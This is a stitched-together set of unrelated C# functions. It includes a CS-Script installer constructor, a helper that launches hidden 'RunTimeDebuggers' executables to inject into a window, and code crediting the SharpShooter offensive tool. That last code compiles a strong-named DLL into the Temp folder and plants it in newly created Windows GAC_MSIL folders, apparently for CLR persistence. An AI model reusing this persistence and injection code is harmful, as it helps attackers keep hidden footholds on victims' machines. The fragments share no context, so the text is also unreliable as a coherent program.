private static string GetRuntimeDebuggerAssemblyLocation(bool isX64, CLRVersion version) { string runtimeDebuggerDll = ""; if (isX64) { if (version == CLRVersion.v2_0) { runtimeDebuggerDll = "RunTimeDebuggers_clr20x64.exe"; } else if (version == CLRVersion.v4_0) { runtimeDebuggerDll = "RunTimeDebuggers_clr40x64.exe"; } } else { if (version == CLRVersion.v2_0) { runtimeDebuggerDll = "RunTimeDebuggers_clr20x86.exe"; } else if (version == CLRVersion.v4_0) { runtimeDebuggerDll = "RunTimeDebuggers_clr40x86.exe"; } } if (string.IsNullOrEmpty(runtimeDebuggerDll)) { return(""); } runtimeDebuggerDll = System.IO.Path.Combine(System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location), runtimeDebuggerDll); return(runtimeDebuggerDll); }
private static string GetFirstPath(AssemblyInfo info, CLRVersion clrversion, bool create = true) { string firstPath; if (clrversion == CLRVersion.Net35) { firstPath = Environment.GetEnvironmentVariable("windir") + @"\assembly\GAC_MSIL\"; } else { firstPath = Environment.GetEnvironmentVariable("windir") + @"\Microsoft.NET\assembly\GAC_MSIL\"; } try { if (!Directory.Exists(Path.Combine(firstPath, info.assembyName)) && create) { Directory.CreateDirectory(Path.Combine(firstPath, info.assembyName)); } firstPath += info.assembyName + "\\"; if (clrversion == CLRVersion.Net35) { Console.WriteLine("[*] .Net Framework < 4.0 path: " + firstPath); } else { Console.WriteLine("[*] .Net Framework >= 4.0 path: " + firstPath); } //Forge the name of the second folder string folderName = info.runtimeVersion.Substring(0, 4) + "_" + info.version + "_"; if (info.culture.Equals("neutral")) { folderName += "_"; } else { folderName += info.culture; } folderName += info.publickey; //Create the second folder if (!Directory.Exists(Path.Combine(firstPath, folderName)) && create) { Directory.CreateDirectory(Path.Combine(firstPath, folderName)); } //Append the name of the folder firstPath += folderName + "\\"; return(firstPath); } catch (Exception) { Console.WriteLine("[x] Error getting path"); return(string.Empty); } }
private void Inject(Info wnd, CLRVersion version) { string runtimeDebuggerDll = GetRuntimeDebuggerAssemblyLocation(wnd.IsX64, version); if (!string.IsNullOrEmpty(runtimeDebuggerDll)) { System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo() { FileName = runtimeDebuggerDll, Arguments = wnd.WindowInfo.HWND.ToString(), UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardInput = true, CreateNoWindow = true, WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden }); } }
public override string ToString() { return(Path + Separator + CLRVersion.ToString()); }
public CSScriptInstaller(bool quiet, bool update) { //System.Diagnostics.Debug.Assert(false); this.quiet = quiet; //analyse previous installations bool oldVersionInstalled = CSScriptInstaller.IsInstalled() && update; ArrayList oldMenus = new ArrayList(); string oldDblClickAction = ""; string oldClrVersion = ""; string oldHomeDir = ""; string oldConfigFile = ""; bool runningAsScript = Environment.GetEnvironmentVariable("CSScriptRuntime") != null && Environment.GetEnvironmentVariable("CSScriptDebugging") == null; if (oldVersionInstalled) { oldHomeDir = GetEnvironmentVariable("CSSCRIPT_DIR"); if (Path.GetFullPath(oldHomeDir) == Path.GetFullPath(CSScriptInstaller.GetExecutingEngineDir())) oldVersionInstalled = false; else { GetCurrentConfig(oldMenus, ref oldDblClickAction); //oldClrVersion = GetTargetCLRVersion(Path.Combine(oldHomeDir, "cscs.exe.config")); //CLR versions are not supported any more } } try { using (RegistryKey envVars = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment", true)) { } using (RegistryKey csReadOnly = Registry.ClassesRoot.OpenSubKey(".cs", false)) if (csReadOnly != null) using (RegistryKey csWritable = Registry.ClassesRoot.OpenSubKey(".cs", true)) { } } catch { restrictedMode = true; } string scHomeDir = GetEnvironmentVariable("CSSCRIPT_DIR"); bool preventMigration = false; #if CSS_PROJECT preventMigration = true; //we are running the script under VS #endif if (scHomeDir == null) { if (restrictedMode) throw new Exception("CS-Script cannot be installed on this PC.\nYour current login does not allow you to change the system configuration.\n" + "Please login as a different user (with higher security level) and start the configuraion console again."); Install(true); string editor = GetNotepadPP(); if (editor != null) doubleClickAction = "\"" + editor + "\" \"%1\""; //default value else doubleClickAction = ConfigForm.DoubleClickNotepadAction; scHomeDir = GetEnvironmentVariable("CSSCRIPT_DIR"); MergeLocalIncluds(scHomeDir); } else if (string.Compare(GetExecutingEngineDir(), GetEnvironmentVariable("CSSCRIPT_DIR"), true) != 0 && !preventMigration) { bool deadInstallationDetected = false; try { if (!Directory.Exists(GetEnvironmentVariable("CSSCRIPT_DIR"))) deadInstallationDetected = true; } catch { } string msg = "This configuration console corresponds to the CS-Script engine located in '" + GetExecutingEngineDir() + "'.\n" + "However another copy of the CS-Script engine is currently installed on this computer ('" + GetEnvironmentVariable("CSSCRIPT_DIR") + "').\n\n"; if (restrictedMode) throw new Exception(msg + "Please run the configuration console from correct location."); if (quiet || deadInstallationDetected || DialogResult.OK == ShowMessageBox(msg + "Please, press Ok if you want to activate the script engine from '" + GetExecutingEngineDir() + "' instead of the currently installed one.", "CS-Script Configuration", MessageBoxButtons.OKCancel, MessageBoxIcon.Information, MessageBoxDefaultButton.Button2)) { if (!quiet) SplashScreen.ShowSplash("CS-Script", "Please wait while CS-Script is being configured..."); oldConfigFile = ConfigFile; bool doShellExt = GetComShellExtRegisteredDll() != null; UnInstall(); Install(doShellExt); this.ShellExtensionHasMoved = true; scHomeDir = GetEnvironmentVariable("CSSCRIPT_DIR"); MergeLocalIncluds(scHomeDir); } else throw new Exception("Operation cancelled by user."); } if (File.Exists(ConfigFile)) //installed { if (oldConfigFile != "" && File.Exists(oldConfigFile)) //previous installation config is available settings = Settings.Load(oldConfigFile); else settings = Settings.Load(ConfigFile); if (update) { if (settings.DefaultArguments.IndexOf("/sconfig") == -1) { settings.DefaultArguments += " /sconfig"; //do it manualy for now but in future insure all new default DefaultArgs are added settings.Save(ConfigFile); } } } else { settings = new Settings(); settings.Save(ConfigFile); if (File.Exists(Path.Combine(scHomeDir, @"Lib\clearTemp.cs"))) settings.CleanupShellCommand = "csws.exe clearTemp.cs"; if (IsLightVersion) { settings.UseAlternativeCompiler = ""; } else { if (File.Exists(Path.Combine(scHomeDir, @"Lib\CSSCodeProvider.dll"))) settings.UseAlternativeCompiler = @"%CSSCRIPT_DIR%\Lib\CSSCodeProvider.dll"; try { Version availableVer = GetHighestNetVersion(); if (File.Exists(Path.Combine(scHomeDir, @"Lib\CSSCodeProvider.dll")) && availableVer.Major >= 3 && availableVer.Minor >= 5) { settings.UseAlternativeCompiler = @"%CSSCRIPT_DIR%\Lib\CSSCodeProvider.dll"; } } catch { } } } //CLR versions are not supported any more //if (!File.Exists(Path.Combine(HomeDir, "cscs.exe.config"))) //{ //CreateDefaultConfig(Path.Combine(HomeDir, "cscs.exe.config")); //CreateDefaultConfig(Path.Combine(HomeDir, "csws.exe.config")); //} GetCurrentConfig(this.contextMenus, ref doubleClickAction); targetCLRVersion = new CLRVersion(GetTargetCLRVersion(null)); if (oldVersionInstalled) { for (int i = 0; i < oldMenus.Count; i++) ((ContextMenuInfo)this.contextMenus[i]).Enabled = ((ContextMenuInfo)oldMenus[i]).Enabled; this.doubleClickAction = oldDblClickAction; this.targetCLRVersion.Version = oldClrVersion; UpdateFromInstallation(settings, oldHomeDir); //reset some defaults //if (settings.CleanupShellCommand == "" && File.Exists(Path.Combine(scHomeDir, @"Lib\clearTemp.cs"))) // settings.CleanupShellCommand = "csws.exe clearTemp.cs"; //if (settings.UseAlternativeCompiler == "" && File.Exists(Path.Combine(scHomeDir, @"Lib\CSSCodeProvider.dll"))) // settings.UseAlternativeCompiler = Path.Combine(scHomeDir, @"Lib\CSSCodeProvider.dll"); Update(); CSScriptInstaller.justInstalled = false; } }
private static string BuildDll(string source, string[] refs, string filename, string keyfileBase64, CLRVersion ver) { //https://github.com/mdsecactivebreach/SharpShooter/blob/master/CSharpShooter/SharpShooter.cs string tmp = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Temp"); DropKeyFile(tmp, DecompressDLL(Convert.FromBase64String(keyfileBase64))); string outname = string.Empty; try { Dictionary <string, string> compilerInfo = new Dictionary <string, string>(); if (ver == CLRVersion.Net40) { compilerInfo.Add("CompilerVersion", "v4.0"); } else { compilerInfo.Add("CompilerVersion", "v3.5"); } CSharpCodeProvider provider = new CSharpCodeProvider(compilerInfo); CompilerParameters cp = new CompilerParameters(); foreach (string r in refs) { cp.ReferencedAssemblies.Add(r); } cp.GenerateExecutable = false; cp.GenerateInMemory = false; cp.OutputAssembly = Path.Combine(tmp, filename); cp.CompilerOptions = "/keyfile:" + Path.Combine(tmp, "key.snk"); cp.TempFiles = new TempFileCollection(tmp, false); CompilerResults results = provider.CompileAssemblyFromSource(cp, source); if (results.Errors.HasErrors) { StringBuilder sb = new StringBuilder(); foreach (CompilerError error in results.Errors) { sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText)); } throw new InvalidOperationException(sb.ToString()); } outname = Path.Combine(tmp, filename); } catch (Exception e) { Console.WriteLine("[x] Error building assembly: " + e.Message); outname = ""; } File.Delete(Path.Combine(tmp, "key.snk")); Console.WriteLine("[*] Cleanup"); return(outname); }
private static AssemblyInfo InstallCLRPers(string filename, string keyfileBase64, CLRVersion ver) { //Create dll AssemblyInfo info = null; try { string[] refs = new string[] { "mscorlib.dll", "System.dll" }; string outputfile = BuildDll(source, refs, filename, keyfileBase64, ver); if (!string.IsNullOrEmpty(outputfile)) { byte[] outputbyte = File.ReadAllBytes(outputfile); info = GetAssemblyInfo(outputbyte); if (string.IsNullOrEmpty(info.publickey)) { Console.WriteLine("[-] The assembly is not strong-name"); return(null); } if (ver == CLRVersion.Net35) { string firstPath = GetFirstPath(info, CLRVersion.Net35); Console.WriteLine("[*] .Net Framework < 4.0 folder: " + firstPath); Console.WriteLine("[*]"); //Move the DLL into the created folder if (!FileCopy(filename, outputbyte, firstPath)) { return(null); } } else { string secondPath = GetFirstPath(info, CLRVersion.Net40); Console.WriteLine("[*] .Net Framework >= 4.0 folder: " + secondPath); Console.WriteLine("[*]"); //Move the DLL into the created folder if (!FileCopy(filename, outputbyte, secondPath)) { return(null); } } } } catch (Exception e) { Console.WriteLine("[x] Error: " + e.Message); } return(info); }